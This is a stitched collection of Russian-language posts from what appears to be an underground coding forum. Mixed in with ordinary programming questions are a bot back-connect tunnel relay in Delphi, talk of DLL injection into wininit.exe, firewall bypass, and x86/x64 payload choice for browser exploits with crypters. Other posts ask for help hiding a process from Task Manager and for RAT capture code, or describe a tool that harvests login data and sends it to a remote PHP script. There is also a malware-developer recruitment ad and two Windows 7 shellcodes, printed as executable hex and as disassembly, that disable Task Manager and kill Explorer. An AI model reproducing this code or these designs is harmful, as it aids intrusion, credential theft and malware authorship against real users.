GetMem(pTransferData,PACKET_BUFFER);
FillChar(pTransferData^,PACKET_BUFFER,0);
repeat
dwRet:=WSAWaitForMultipleEvents(2,@hWsaEvents,FALSE,WSA_TIMEOUT_DELAY,FALSE);
case dwRet of
WSA_WAIT_EVENT_0 + 0:
begin
if WSAEnumNetworkEvents(MySocketsInfo.sClientRemoteSocket,hClientRemoteEvent,MyWSANetworkEvents) = 0 then
begin
if ( MyWSANetworkEvents.lNetworkEvents and FD_READ) > 0 then
begin
if MyWSANetworkEvents.iErrorCode[FD_READ_BIT] = 0 then
begin
//repeat
// receive from client
dwReceiveBytes := ReceiveData(MySocketsInfo.sClientRemoteSocket,PAnsiChar(pTransferData),PACKET_BUFFER);
if (dwReceiveBytes > 0) then
begin
// send to bot
SendData(sPeerBackConnectRemoteSocket,PAnsiChar(pTransferData),dwReceiveBytes);
end;
//until (dwReceiveBytes = 0);
end;
end;
if ( MyWSANetworkEvents.lNetworkEvents and FD_CLOSE) > 0 then
begin
if (MyWSANetworkEvents.iErrorCode[FD_CLOSE_BIT] = 0) or (MyWSANetworkEvents.iErrorCode[FD_CLOSE_BIT] <> 0) then
begin
// close subsession session
//bIsExitOrNext := True;
end;
end;
end;
end;
WSA_WAIT_EVENT_0 + 1:
begin
if WSAEnumNetworkEvents(sPeerBackConnectRemoteSocket,hPeerBackConnectRemoteEvent,MyWSANetworkEvents) = 0 then
begin
if ( MyWSANetworkEvents.lNetworkEvents and FD_READ) > 0 then
begin
if MyWSANetworkEvents.iErrorCode[FD_READ_BIT] = 0 then
begin
//repeat
// receive from bot
dwReceiveBytes := ReceiveData(sPeerBackConnectRemoteSocket,PAnsiChar(pTransferData),PACKET_BUFFER);
// send to client
if dwReceiveBytes > 0 then
begin
SendData(MySocketsInfo.sClientRemoteSocket,PAnsiChar(pTransferData),dwReceiveBytes);
end;
//until ( dwReceiveBytes = 0);
end;
end;
if ( MyWSANetworkEvents.lNetworkEvents and FD_CLOSE) > 0 then
begin
if (MyWSANetworkEvents.iErrorCode[FD_CLOSE_BIT] = 0) or (MyWSANetworkEvents.iErrorCode[FD_CLOSE_BIT] <> 0) then
begin
// close subsession session
//bIsExitOrNext := True;
end;
end;
end;
end;
WSA_WAIT_FAILED :
begin
bIsExitOrNext := True;
end;
end;
until (Self.Terminated or bIsExitOrNext);
FreeMem(pTransferData);
суть в следующем ограничения буфера 8191 байт припустим нужно что то принят более чем этот буфер получается следущая ситуация приложения С принимает даные через прилож. В (в цикле по событиях перебрасывает буфер ) с прилож. А на прилож. С. Тут А начинает принимать даные и передавать на промежутоное приложение В но данные не все доходят с А на В, Тоесть смотрел в отладке А принимает все даные и сразу по событию отсылает на В. Прилож. B теряет даные так как идет следующая ситуация А принимает даные и отсылает и неизвестно как там В с ними работает принял или нет но в В не все даные что А принял. Какие методы синхронизации существуют в моем случае ??? или может есть у кого то исходники тунеля на винсок под винду ... я думал что бы все сразу принял а потом передавать но если у меня будет поток )) и т.д и т.п.
r0 как то имел проблемы с этой парой и у меня сегодня возникли такие же проблемы смысл в том что вот такой вот код не работает
Code:Copy to clipboard
LONG CALLBACK
exc_handler( PEXCEPTION_POINTERS pep ) {
OutputDebugStringA("handler");
}
OutputDebugStringA("111");
AddVectoredExceptionHandler( TRUE, exc_handler );
OutputDebugStringA("222");
'222' или 'handler' не будет выведено никогда, а процесс повиснет и все закончиться плохо, причем в отладчиках все отлично работает, собственно почему ?
ответ:
оказывается, заглядывая в кишки OutputDebugStringA ( W функция ссылается на нее же ), видим следующие
Code:Copy to clipboard
; ... skipped
75282AC7 . 50 PUSH EAX ; /pArguments
75282AC8 . 6A 02 PUSH 2 ; |nArguments = 2
75282ACA . 6A 00 PUSH 0 ; |ExceptionFlags = EXCEPTION_CONTINUABLE
75282ACC . 68 06000140 PUSH 40010006 ; |ExceptionCode = 40010006
75282AD1 . E8 8E8EFFFF CALL KERNELBA.RaiseException ; \RaiseException
; ... skipped
т.е. опять же дергается исключение ( в параметры помещается строка которую надо вывести ) и получается что устанавливая вех с неправильных обработчиком, и дергая после него OutputDebugString, порождаем исключение, которое не умеет правильно обрабатывается в handler или хуже того дергает внутри него еще один OutputDebugString, что приводит к зацикливанию.
а надо то добавить в самое начало обработчика вот это
Code:Copy to clipboard
if (pep->ExceptionRecord->ExceptionCode == DBG_PRINTEXCEPTION_C)
return EXCEPTION_CONTINUE_SEARCH;
да и вообще надо иметь ввиду что в вех будет сыпаться все и это все надо уметь правильно обработать.
Нужна форма регистрации в софте.
Проблема заключается в том что открытый с помощью такого (ShowHTMLDialog)
метода сайт, не дает переходить по внешним ссылкам.
Кто-то знает решение?!
Может быть он для этого не пригоден вообще и нужно использовать что-то другое. Желательно конечно не использовать каких то огромных компонентов. Надо всего- то отобразить удаленно находящуюся форму, и отправить введенные в нее результаты. Ну и коненчо отобразить "ответ". Редирект на другой сайт. Короче "полноценный серфинг"
У кого есть какие соображения ... а то уже 2 дня парюсь .. и все в тупую..
Если юзать ЦРТ то все кашырно ... а так не получается ..
жду помощи , может есть у кого то наработки или проектик мини
Спасибо на перед!!
Думаю, чего бы интересного-полезного написать?
Написать парсер каких-нить логов? Их вроде и так куча и платных и бесплатных,
да и логов для примера нет.
Может что-нить платное придумать - какую-нить несложную утилитку и продавать
ее за 2-5 доллара?
Еще выбор на чем писать. C# - можно считать что open source сразу - продавать
смысла нет, C/C++ уже лучше с защитой, но на работе его и так по горло
хватает.
Может кто предложит какую идею для утилитки, а там видно будет.
Всем привет
Вот есть инжектированная либа к примеру у меня в ( системном процессе
wininit.exe ) по умолчанию фаер винды 7 разрешает только исходящий трафик,
весь входящий блокирует.
Причем для проверки лично создавал правило для wininit.exe после чего все
входящие соединения были успешны.
Как программно добавить правило ? Может есть процессы которым разрешено и
входящий и исходящий трафик ?
Всем привет нужна таблица сервисов с Windows Server 2008 R2 может кто то видел ?
Всем привет есть такой вопрос.
Какие методы используются для совместимости если софт первоначально писался на
x86 поддержку делал на x64 просто запускал x86 на x64 он там дергал с wow-ва
то что ему нужно.
Теперь задача состоит немного по другому припустим у меня на 86 машинах
делается инжект в процесс либы ясно что 32 разрядная либа не будет работать в
x64 процессе ... да и если просто запустить x86 exe на x64 будет палево
большое ))
Думаю над след. вариантом если откомпилировать два exe то есть x64 и x86 а
потом уже когда браузер будем пробивать сплоитами что бы был выбор
соответствующего exe (x86\x64) но тут есть куча нюансов например как быть с
крипторами на x64 ???
Или может есть иные пути решения задач с совместимостью ... ?
Есть ли проект или хоть что-то где этот файл ( ntdll.h, winternals.h, ntifs.h, etc... ) был-бы максимально полон? Официальный MSDN и WDK половину пишут Reserved, может есть смысл уже наколбасить свой более полый аналог?
Вообщем интересует вопрос где можно найти гео базу то есть пишу gui (WinAPI win32 не под .NET) приложение в котором нужно распознавать страны по диапазонах IP и наоборот мне нужна либа или компонент (желательно с набором функционала обновления базы) нашел maxmind есть еще что то подобное ?
Есть желающие поделится исходниками прокси чекеров? если на никс скажу спасибо...
вот так начинаеться код:
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
......
....
...
..
вот такую выдает ошибку:
D:\exploits>g++ 2.c
2.c:10:21: fatal error: sys/uio.h: No such file or directory
compilation terminated.
sys/uio.h вот эта библиотека отсутсвует.. верно?
все делаеться на minGW
кто нибудь подскажет по теме компиляции - что либо полезное.. хоть что...
в чем разница между #include <sys/uio.h> и #include "sys/uio.h" прописанными в
начале кода ,
где скачать эту библиотеку sys/uio.h,
как заменить её на что либо другое если возможно,
вобще пару тройку- десятку советов ... можно услышать?
ни дружит гугл сегодня со мной ....
пожалуйста пм , кто с свободным временем и не ленится разжевать..
спасиба ...
Выкладываю свой класс для работы с ICQ (протокол OSCAR). Может быть кому- нибудь пригодится.
Класс написан с использованием чистого Windows API и поэтому программы на его основе имеют очень небольшой размер.
Функционал класса небольшой:
Но для решения простых задач, например написания ботов, он вполне подойдет. С его помощью к примеру была написана программа скрытого администрирования с управлением через ICQ.
**Как использовать класс.
**
Объявить класс SICQ, а затем методом SetWindowsHandle() установить дескриптор
окна, которое будет получать сообщения. Формат сообщений описан подробно в
документации: http://hors.googlecode.com/files/Documentation.pdf
Обработчики этих сообщений необходимо реализовать самому. Для программистов
имевших дело с чистым WinAPI и С/C++/assembler это не составит особого труда.
Важно : класс использует Windows Socket функции, поэтому перед использованием класса в программе нужно загрузить WinSocket Library:
PHP:Copy to clipboard
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0)
{
printf("WSAStartup failed with error: %d\n", err);
return 1;
}
а по окончанию работы её выгрузить
PHP:Copy to clipboard
WSACleanup();
Или же использовать _LoadWS, _UnloadWS из Net.h/Net.cpp
Пример использования класса: http://hors.googlecode.com/files/SimpleClient.zip
**Отладка.
**
Если скомпилировать приложение на основе этого класса в отладочной конфигурации(DEBUG), то приложение во время своего выполнения будет слать отладчику отладочные сообщения. Например количество отосланных/принятых байт, типы пакетов, содержимое пакетов.
Например:
Close Socket
BOS Server connection
Create Socket
Connect
Server IP: 64.12.25.162
Server port: 5190
Recv 6(6) bytes
Recv 4(4) bytes
----------[recv]---------------
Packet Size 10(A) bytes
0000|2A01F20600040000
0008|0001
-------------------------------
It's Hello Packet
Create Cookies Packet
Send 270(10E) bytesClick to expand...
Можно для этого также использовать утилиту DbgView. http://technet.microsoft.com/en-us/s.../bb896647.aspx
**Лицензия.
**
Класс можно свободно использовать в коммерческих или некоммерческих целях, с открытым исходным кодом или нет. Вы используете этот класс и программы написанные с его помощью на свой страх и риск, автор не несет никакой ответственности за возможные последствия или отсутствие оных.
**Контакт.
**
Если есть вопросы или предложения по улучшению кода, то horsicq (at) gmail. com
Страница проекта: http://code.google.com/p/hors/
Документация: http://hors.googlecode.com/files/Documentation.pdf
Пример работы: http://hors.googlecode.com/files/SimpleClient.zip
Есть код на C++
Code:Copy to clipboard
#include <windows.h>
void main()
{
for (;;)
{
system("ping -n 10 who.is");
}
}
Как сделать чтобы пинг был в 50 потоков одновременно.
Просьба писать только код
Code:Copy to clipboard
#include <windows.h>
#include <iostream>
using namespace std;
int main()
{
WIN32_FIND_DATA FoundFile;
HANDLE FileHandle;
TCHAR NETPath[MAX_PATH];
HKEY hKey;
DWORD dwSize;
char NetVersion[5]="v0.0";
if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\.NETFramework",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&hKey,
NULL) == ERROR_SUCCESS )
{
if(RegQueryValueEx(hKey, "InstallRoot", NULL, 0, (LPBYTE)NETPath, &dwSize) == ERROR_SUCCESS)
{
lstrcat(NETPath,"\\v*.*");
FileHandle=FindFirstFile(NETPath,&FoundFile);
do
{
FoundFile.cFileName[4]=0;
if(FoundFile.cFileName[1]>NetVersion[1] || FoundFile.cFileName[3]>NetVersion[3])
{
lstrcpy(NetVersion,FoundFile.cFileName);
}
}while(FindNextFile(FileHandle,&FoundFile));
FindClose(FileHandle);
}
else
cout<<"RegQueryValueEx: "<<GetLastError()<<endl;
RegCloseKey(hKey);
}
else
cout<<"RegCreateKeyEx(): "<<GetLastError()<<endl;
cout<<"Installed .NET Version: "<<NetVersion<<endl;
}
Есть ли лучший способ получить установлен. NET версии?
ищу исходный код(C или C++) для функций Remote Screen capture and Webcam capture. У меня есть код, используемый в FBI-RAT, но этот RAT какой то сырой, по моему.
Ув. кодеры.
Помогите пожалуйста, есть сорц.
Прога консольная, как спрятать от диспетчера задач её работу....
какое практическое применение есть attribute(section("test")) для чего код помещают не в .TEXT а в свою секцию?
Требуется написать сабжевую длл которая умеет отсылать данны на хост и получать их. в самом худшем случае хотя-бы получать содержимое страниц, отправлять буду как параметры запроса.в сааамом худше не длл даже, а просто приложение, в длл сам попробую переписать
Народ, объясните пжалусто, как экспортировать в txt результат работы, к примеру такого:
Code:Copy to clipboard
#include <stdio.h>
void main()
{
int i;
for (i=0; i<100000; i++)
{printf("%i\n", i);}
}
Как из подгружаемой dll получить HINSTANCE процесса запустившего ее?
варианты передать не подходят
Ищу модуль(библиотеку С++) для работы с русерсами приложения -
удаление\добавление\копирование ресурсов...
Если кто знает или у кого есть интересная... прошу помочь :cry2:
Собственно интересует ссылка на скачивание MS VS .NET 2002 (в простонародье 7.0)
нужна маленькая програмка, делающая следущее:
есть папка, в ней файлы (расширение разное, но это не важно). кол-во файлов от 0 до 200-300 (может чуть больше).
суть - подсчитать кол-во файлов, создать в этой папке столько подпапок,
сколько нужно, чтобы раскидать все эти файлы РАНДОМНО по кол-во штук, которое
я укажу.
рандом обязательный и как можно более разнообразный.
приведу пример: есть 300 файлов, нужно раскидать допустим по 10 файлов/на папку (число я сам указываю) значит нужно 300/10=30 папок (имена папкам - 01, 02, 03 ... 29, 30) и последующее раскидывание файлов по ним. (перемещение, не копирование). ниже привожу схематично, если вдруг описал не понятно.
Срочно надо, очень прошу!
Народ объясните плизз как понимать что логические операторы могут возвращать значенияrue(истина) и false (ложь)Как понимать истина и ложь?
Да и напишите плизз понятнее значения логических операторов.
== равенство;истиннобкогда значение левого аргумента совпадает со значением правого.
!= Неравенство;противоположно равенству
=,<= больше или равно,меньше или равно;истинно,если истинной является > или ==(соответственно < или ==)
&& И;истиннобесли аргументы и слева и справа являются истиной
|| ИЛИ;истинно,если или левый или правый аргумент являются истинной
! НЕ;истинно,если его аргумент принимает ложное значение.
P.s Что такое аргументы и операнда?
О, Спасибо огромное!
Никто не против, если эта тема останется? Просто у меня время от времени возникают вопросы, да и не только у меня одного.)
#include <stdio.h>
#define STRLEN 80 // Длина строки
void main( void )
{
FILE *file; // Объявляем указатель на файл
char string[STRLEN]; // Массив на STRLEN символов
// Открываем текстовый файл для записи
// Если такого файла нет, то он будет создан
file = fopen("sample.txt","w");
// Записываем строку в файл
fprintf(file,"Пример использования файлов.");
fclose(file); // Закрываем файл
// Открываем текстовый файл для чтения
file = fopen("sample.txt","r");
/*
Обратите внимание!
Для ввода строки из файла мы используем
функцию fgets(), так как функция
fscanf("%s",string) читает строку до первого пробела!
*/
// Читаем из файла строку (Макс. длина строки - STRLEN символов)
fgets(string,STRLEN,file);
// Закрываем файл
fclose(file);
У меня возникла очередная проблема.
Данная программа выводит только последнюю строку файла. А как сделать чтобы
она выводила весь файл?
[mod][Great:] Поставлен минус за заведение повторных тем. Я предупреждал[/mod]
Да... господа... на злобу дня...
Code:Copy to clipboard
#include <dos.h>
#include <string.h>
#define INTR 0x09
void interrupt ( *oldhandler)(...);
void interrupt handler(...)
{
// тело функции
}
int main()
{
union REGS in, out;
oldhandler = getvect(INTR);
setvect(INTR, handler);
in.h.ah = 0x31;
in.h.al = 0;
in.x.dx = 1024;
int86(0x21, &in, &out);
return 0;
}
Как вы догадались данная функци становиться резидентной... т.е. висит в
памяти... не важно, что она для DOS
...вы
не вот что лучше скажите: а как ее выгрузить ???
...
Вобщем как зетелеть облась памяти...
Буду очень благодарен ;-)
Там, где на присоединённой картинке показано,как сделать так, что бы от этой строки прога продолжила работать с той, куда ведёт стрелка?
Спасибо, и опять вопрос
Code:Copy to clipboard
#include <iostream>
#include <conio.h>
using namespace std;
int main()
{
char name[15];
cout << " Welcome\n Please enter Your name:\n";
cin >> name;
cout << "Hello " << name;
cout << "\n Decode the number: 442777777999\n And then enter the decoded word \n";
char pass[6];
cout << " The word is: ";
cin >> pass;
if (strcmp(pass, "harry") == 0)
{
cout << " \n Nice job, You have made it!\n Greetings for you, " << name << " from Me \n :) ";
}
else{
cout << "\n Sorry, wrong word.\n Do You need a clue?";
int answer;
cout << " \n Yes [1], No [0] \n";
cin >> answer;
if (answer == 0)
{
cout << " \n Perhaps the next time You will manage to give the right answer\n Bye!";
}
if (answer == 1)
{
cout << "\n Try to type that number on Mobile phone";
}
getch();
}
не компилирует, типа последняя скобка не нужна, мистика просто, я поражаюсь :o
При запуске jnlp с удаленного хоста:
Code:Copy to clipboard
> javaws http://example/path/x.jnlp -silent
Предупреждения(нарочно вызывается устаревшая версия java) перестают вести себя так, как им положено: сообщение "Your java version is insecure" уже не отображается(что логично для silent), но предупреждение "Do you want to run this application?" теряет свою основную функцию, то есть оно отображается, но кнопку cancel можно сколько угодно нажимать - все равно апплет будет загружен и выполнен. Проверка проводилась на java 1.7, но на более свежих версиях ситуация может быть такой же.
Код jnlp:
Code:Copy to clipboard
<?xml version="1.0" encoding="utf-8"?>
<jnlp spec="1.0" codebase="http://example/path" href="x.jnlp">
<information>
<title>Block me :)</title>
<vendor>Vendor Name</vendor>
<description>App Description</description>
<offline-allowed />
</information>
<resources>
<j2se version="1.6+" href="http://java.sun.com/products/autodl/j2se" />
<jar href="SelfSigned.jar" main="true" />
</resources>
<applet-desc name="SelfSigned" main-class="BoomClass" width="500" height="500">
</applet-desc>
<update check="background" />
</jnlp>
Судя по всему, параметр -silent никак не передать при удаленном исполнении, поэтому на секьюрити бипас здесь надеяться не приходится. У самого с июня руки не дойдут до полной проверки, поэтому выкладываю здесь. Может кто-то из форумчан проводил исследования в этом направлении и тоже поделится подробностями изучения запуска через silent.
Code:Copy to clipboard
/*------------------------------------------------
==[ By Ayrbyte ]======[ Geng Simbe @ TKJ 1 Club ]========================================
Greets To : Adit Groundd SAndd Notte, Agos Wahyo, Aguenkk Rebel Black Sweet,
Ahmad Bagoes, Alvin Putra Marcdyto, Arieb Shezhaniea, Aviep Autiez, Chusnie Mubarok,
Cumigh Gokil On Üç, Dapat Di Hubungi, De Ayiph Ever, Dwi J Andreansyah, Jack PYing,
Khuluq Gomez, Ola Amor Arpaz, Pewe, Q-blueshiierezpector Screamoalltheway Aparatkeparat,
Raden Mas Koko, Rivan Ardiansyah, Rizqi Bogez, Rony C'Penghianat X Ciinta, Sukrex Dreizehn,
Syafi'i, and all Tkj 1 Club Family... ^_^
=========================================================================================
--------------------------------------------------
title : Windows7 Disable Task Manager Shellcode - 326 chars
Author: Ayrbyte
Category: local
Tested on: Windows7 Ultimate
Code : c++
Fb : fb.me/Ayrbyte
------------------------------------------------ */
#include <iostream>
using namespace std;
char code[] = "\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11\x11\x11\xB9\x14"
"\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB9\x73\x31\x11\x11\x2B\xC8\x03\xE9\x8B\xD4\xB9\x10\x21\x11\x11\x2B\xC8\x2B\xD1\xB9"
"\x63\x6D\x64\x20\x89\x0A\xB9\x2F\x6B\x20\x52\x89\x4A\x04\xB9\x45\x47\x20\x61\x89\x4A\x08\xB9\x64\x64\x20\x48\x89\x4A\x0C\xB9\x4B"
"\x43\x55\x5C\x89\x4A\x10\xB9\x53\x6F\x66\x74\x89\x4A\x14\xB9\x77\x61\x72\x65\x89\x4A\x18\xB9\x5C\x4D\x69\x63\x89\x4A\x1C\xB9\x72"
"\x6F\x73\x6F\x89\x4A\x20\xB9\x66\x74\x5C\x57\x89\x4A\x24\xB9\x69\x6E\x64\x6F\x89\x4A\x28\xB9\x77\x73\x5C\x43\x89\x4A\x2C\xB9\x75"
"\x72\x72\x65\x89\x4A\x30\xB9\x6E\x74\x56\x65\x89\x4A\x34\xB9\x72\x73\x69\x6F\x89\x4A\x38\xB9\x6E\x5C\x50\x6F\x89\x4A\x3C\xB9\x6C"
"\x69\x63\x69\x89\x4A\x40\xB9\x65\x73\x5C\x53\x89\x4A\x44\xB9\x79\x73\x74\x65\x89\x4A\x48\xB9\x6D\x20\x2F\x76\x89\x4A\x4C\xB9\x20"
"\x44\x69\x73\x89\x4A\x50\xB9\x61\x62\x6C\x65\x89\x4A\x54\xB9\x54\x61\x73\x6B\x89\x4A\x58\xB9\x4D\x67\x72\x20\x89\x4A\x5C\xB9\x2F"
"\x74\x20\x52\x89\x4A\x60\xB9\x45\x47\x5F\x44\x89\x4A\x64\xB9\x57\x4F\x52\x44\x89\x4A\x68\xB9\x20\x2F\x64\x20\x89\x4A\x6C\xB9\x31"
"\x20\x2F\x66\x89\x4A\x70\xB9\x20\x26\x20\x74\x89\x4A\x74\xB9\x61\x73\x6B\x6B\x89\x4A\x78\xB9\x69\x6C\x6C\x20\x89\x4A\x7C\xB9\x2F"
"\x69\x6D\x20\x89\x8A\x80\x00\x00\x00\xB9\x63\x6D\x64\x2E\x89\x8A\x84\x00\x00\x00\xB9\x65\x78\x65\x20\x89\x8A\x88\x00\x00\x00\xB9"
"\x40\x77\x11\x11\x2B\xC8\x89\x8A\x8C\x00\x00\x00\x33\xDB\x8B\xF4\xB9\x65\x11\x11\x11\x2B\xC8\x8D\x4E\xAC\x51\x8D\x4E\xBC\x51\x53"
"\x53\xB9\x31\x13\x11\x11\x2B\xC8\x51\x53\x53\x53\x52\x53\xFF\xD5\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x33\xDB"
"\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11\x11\x11\xB9\x13\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB8\x11\x11\x11\x11"
"\xB9\x37\x26\x14\x11\x2B\xC8\x03\xE9\xFF\xD5";
int main(){printf("Shellcode Length is : %u\n",strlen(code));system("PAUSE");
int (*_13)() = (int(*)())code; _13(); }
/*=================[ Geng Simbe @ TKJ 1 Club ]======*/
# A29BECCC052911F9 1337day.com [2013-05-16] 8A98950EB9557C6C #
На работоспособность не тестировал, прогоните кто нить интересу ради...)
Всем привет!
Вот сама суть проблемы:приложение вываливается после раскриптовки...
Вот почему:
Spoiler: 3 у вас 43
Code:Copy to clipboard
1> Создание кода завершено
1>_wcrt.lib(_initterm.obj) : warning LNK4254: выполнено слияние секции ".CRT" (40000040) с ".data" (C0000040) с разными атрибутами
1>_wcrt.lib(_initterm.obj) : warning LNK4254: выполнено слияние секции ".CRT" (40000040) с ".data" (C0000040) с разными атрибутами
Ком.строка С++:
Spoiler: 3 у вас 43
Code:Copy to clipboard
/nologo /W3 /WX- /O1 /Oy- /GL /Gm- /EHsc /MT /GS- /Gy /fp:precise /Zc:wchar_t- /Zc:forScope- /Fp"Release\project.pch" /Fa"Release\" /Fo"Release\" /Fd"Release\vc100.pdb" /Gd /analyze- /errorReport:queue
Ком.строка компоновщика:
Spoiler: 3 у вас 43
Code:Copy to clipboard
/OUT:"путь...\project\Release\project.exe" /NOLOGO /MANIFEST:NO /ManifestFile:"Release\project.exe.intermediate.manifest" /ALLOWISOLATION /MANIFESTUAC:"level='asInvoker' uiAccess='false'" /PDB:"путь...\project\Release\project.pdb" /SUBSYSTEM:WINDOWS /OPT:NOREF /OPT:NOICF /PGD:"путь...\project\Release\project.pgd" /LTCG:PGInstrument /TLBID:1 /DYNAMICBASE:NO /NXCOMPAT /MACHINE:X86 /ERRORREPORT:QUEUE
Пробовал изменить таким образом проблему: в main.cpp добавил
Code:Copy to clipboard
#pragma comment(linker, "/merge:.CRT=.data")
#pragma comment(linker, "/SECTION:.data,DEKPRSW")
но это привело еще к большему:
Spoiler: 3 у вас 43
Code:Copy to clipboard
1>main.obj : warning LNK4254: выполнено слияние секции ".CRT" (40000040) с ".data" (C0000040) с разными атрибутами
1>_wcrt.lib(_initterm.obj) : warning LNK4254: выполнено слияние секции ".CRT" (40000040) с ".data" (C0000040) с разными атрибутами
1>_wcrt.lib(_initterm.obj) : warning LNK4254: выполнено слияние секции ".CRT" (40000040) с ".data" (C0000040) с разными атрибутами
И вот из-за этой хрени приложение при декрипте и запуске вываливается. Точно
эта же хрень была когда тестировали билд на Win7 и WIn Xp...
Можете мне сказать как это исправить? гугл и яша не знают(((
Вечером я заметил, что на моем Xiaomi Poco X5 Pro с Android 14 не работает фоновый режим. Проверил журнал логов (Log Cat), ошибок не обнаружено.
Есть ли темы, связанные с фоновым режимом? (Которые исправили)
есть что-то готовое в шарпе, чтобы такой диз получить ?
прога простая, просто нужен вид.
Мой мозг не может понять как это написать.
... - Это как шаг, +3.
От 3 до 99
Учу С язык только вторую неделю, вот предложили задание с орешком так сказать а придумать не получается.
Есть возможность средствами C# узнать мутекс другого exe?
подробности здесь - https://xss.is/threads/31670/post-183901
Всех приветствую. Мне нужно сделать софт, который будет делать все в следующей
последовательности:
1.Ввод данных на сайте(логин и пароль, например) в эмулированном браузере(так
же, нужно использовать разные юзер-агенты и прокси во избежания бана).
2.Снифф отправленного запроса(прием отправленных пакетов и парс из этого всего
определенные значения(headers, например)).
3.Отправка всего, что было (спаршено?) скопировано - на мой php скрипт, по
типу link.com/skr.php.
Вопрос в том, как это реализовать?
Какие яп нужны, и что нужно искать в гугле? Заранее всем спасибо за любую
помощь. UPD. PHP скрипт для приема отправленного у меня есть(он просто создает
txt с этими данными на ftp). Так же, софт который выполняет все эти операции у
меня тоже есть, но исходов, увы, нету.
запросил эту услугу для частного проекта
Hello,
Are there programmers who focus on malware, ransomware, etc.? We need to find partners who are professional and have experience in Cryptography and C#. We also need to find some Javascript, SQL, and PHP developers who have experience in coding admin panels and landing pages.
pidgin: mymalware@thesecure.biz (OTR)
/*------------------------------------------------
==[ By Ayrbyte ]======[ Geng Simbe @ TKJ 1 Club ]========================================
Greets To : Adit Groundd SAndd Notte, Agos Wahyo, Aguenkk Rebel Black Sweet,
Ahmad Bagoes, Alvin Putra Marcdyto, Arieb Shezhaniea, Aviep Autiez, Chusnie Mubarok,
Cumigh Gokil On Üç, Dapat Di Hubungi, De Ayiph Ever, Dwi J Andreansyah, Jack PYing,
Khuluq Gomez, Ola Amor Arpaz, Pewe, Q-blueshiierezpector Screamoalltheway Aparatkeparat,
Raden Mas Koko, Rivan Ardiansyah, Rizqi Bogez, Rony C'Penghianat X Ciinta, Sukrex Dreizehn,
Syafi'i, and all Tkj 1 Club Family... ^_^=========================================================================================
--------------------------------------------------
title : win32/7 Ultimate, Force Terminate Explorer Shellcode (255 chars)
Author: Ayrbyte
Category: local
Tested on: Windows7 Ultimate
Code : c++
Fb : fb.me/Ayrbyte
--------------------------------------------------
00401000 > $ 33F6 XOR ESI,ESI
00401002 . 33C9 XOR ECX,ECX
00401004 . 64:8B71 30 MOV ESI,DWORD PTR FS:[ECX+30]
00401008 . 8B76 0C MOV ESI,DWORD PTR DS:[ESI+C]
0040100B . 8B76 1C MOV ESI,DWORD PTR DS:[ESI+1C]
0040100E . 33DB XOR EBX,EBX
00401010 > 43 INC EBX
00401011 . 8B6E 08 MOV EBP,DWORD PTR DS:[ESI+8]
00401014 . 8B7E 20 MOV EDI,DWORD PTR DS:[ESI+20]
00401017 . 8B36 MOV ESI,DWORD PTR DS:[ESI]
00401019 . B8 11111111 MOV EAX,11111111
0040101E . B9 14111111 MOV ECX,11111114
00401023 . 2BC8 SUB ECX,EAX
00401025 . 8BD1 MOV EDX,ECX
00401027 . 3BDA CMP EBX,EDX
00401029 .^75 E5 JNZ SHORT messageb.00401010
0040102B . B9 73311111 MOV ECX,11113173
00401030 . 2BC8 SUB ECX,EAX
00401032 . 03E9 ADD EBP,ECX
00401034 . 8BD4 MOV EDX,ESP
00401036 . B9 10211111 MOV ECX,11112110
0040103B . 2BC8 SUB ECX,EAX
0040103D . 2BD1 SUB EDX,ECX
0040103F . B9 636D6420 MOV ECX,20646D63
00401044 . 890A MOV DWORD PTR DS:[EDX],ECX
00401046 . B9 2F6B2074 MOV ECX,74206B2F
0040104B . 894A 04 MOV DWORD PTR DS:[EDX+4],ECX
0040104E . B9 61736B6B MOV ECX,6B6B7361
00401053 . 894A 08 MOV DWORD PTR DS:[EDX+8],ECX
00401056 . B9 696C6C20 MOV ECX,206C6C69
0040105B . 894A 0C MOV DWORD PTR DS:[EDX+C],ECX
0040105E . B9 2F696D20 MOV ECX,206D692F
00401063 . 894A 10 MOV DWORD PTR DS:[EDX+10],ECX
00401066 . B9 6578706C MOV ECX,6C707865
0040106B . 894A 14 MOV DWORD PTR DS:[EDX+14],ECX
0040106E . B9 6F726572 MOV ECX,7265726F
00401073 . 894A 18 MOV DWORD PTR DS:[EDX+18],ECX
00401076 . B9 2E657865 MOV ECX,6578652E
0040107B . 894A 1C MOV DWORD PTR DS:[EDX+1C],ECX
0040107E . B9 202F696D MOV ECX,6D692F20
00401083 . 894A 20 MOV DWORD PTR DS:[EDX+20],ECX
00401086 . B9 20636D64 MOV ECX,646D6320
0040108B . 894A 24 MOV DWORD PTR DS:[EDX+24],ECX
0040108E . B9 2E657865 MOV ECX,6578652E
00401093 . 894A 28 MOV DWORD PTR DS:[EDX+28],ECX
00401096 . B9 31407711 MOV ECX,11774031
0040109B . 2BC8 SUB ECX,EAX
0040109D . 894A 2C MOV DWORD PTR DS:[EDX+2C],ECX
004010A0 . 33DB XOR EBX,EBX
004010A2 . 8BF4 MOV ESI,ESP
004010A4 . B9 65111111 MOV ECX,11111165
004010A9 . 2BC8 SUB ECX,EAX
004010AB . 8D4E AC LEA ECX,DWORD PTR DS:[ESI-54]
004010AE . 51 PUSH ECX
004010AF . 8D4E BC LEA ECX,DWORD PTR DS:[ESI-44]
004010B2 . 51 PUSH ECX
004010B3 . 53 PUSH EBX
004010B4 . 53 PUSH EBX
004010B5 . B9 31131111 MOV ECX,11111331
004010BA . 2BC8 SUB ECX,EAX
004010BC . 51 PUSH ECX
004010BD . 53 PUSH EBX
004010BE . 53 PUSH EBX
004010BF . 53 PUSH EBX
004010C0 . 52 PUSH EDX
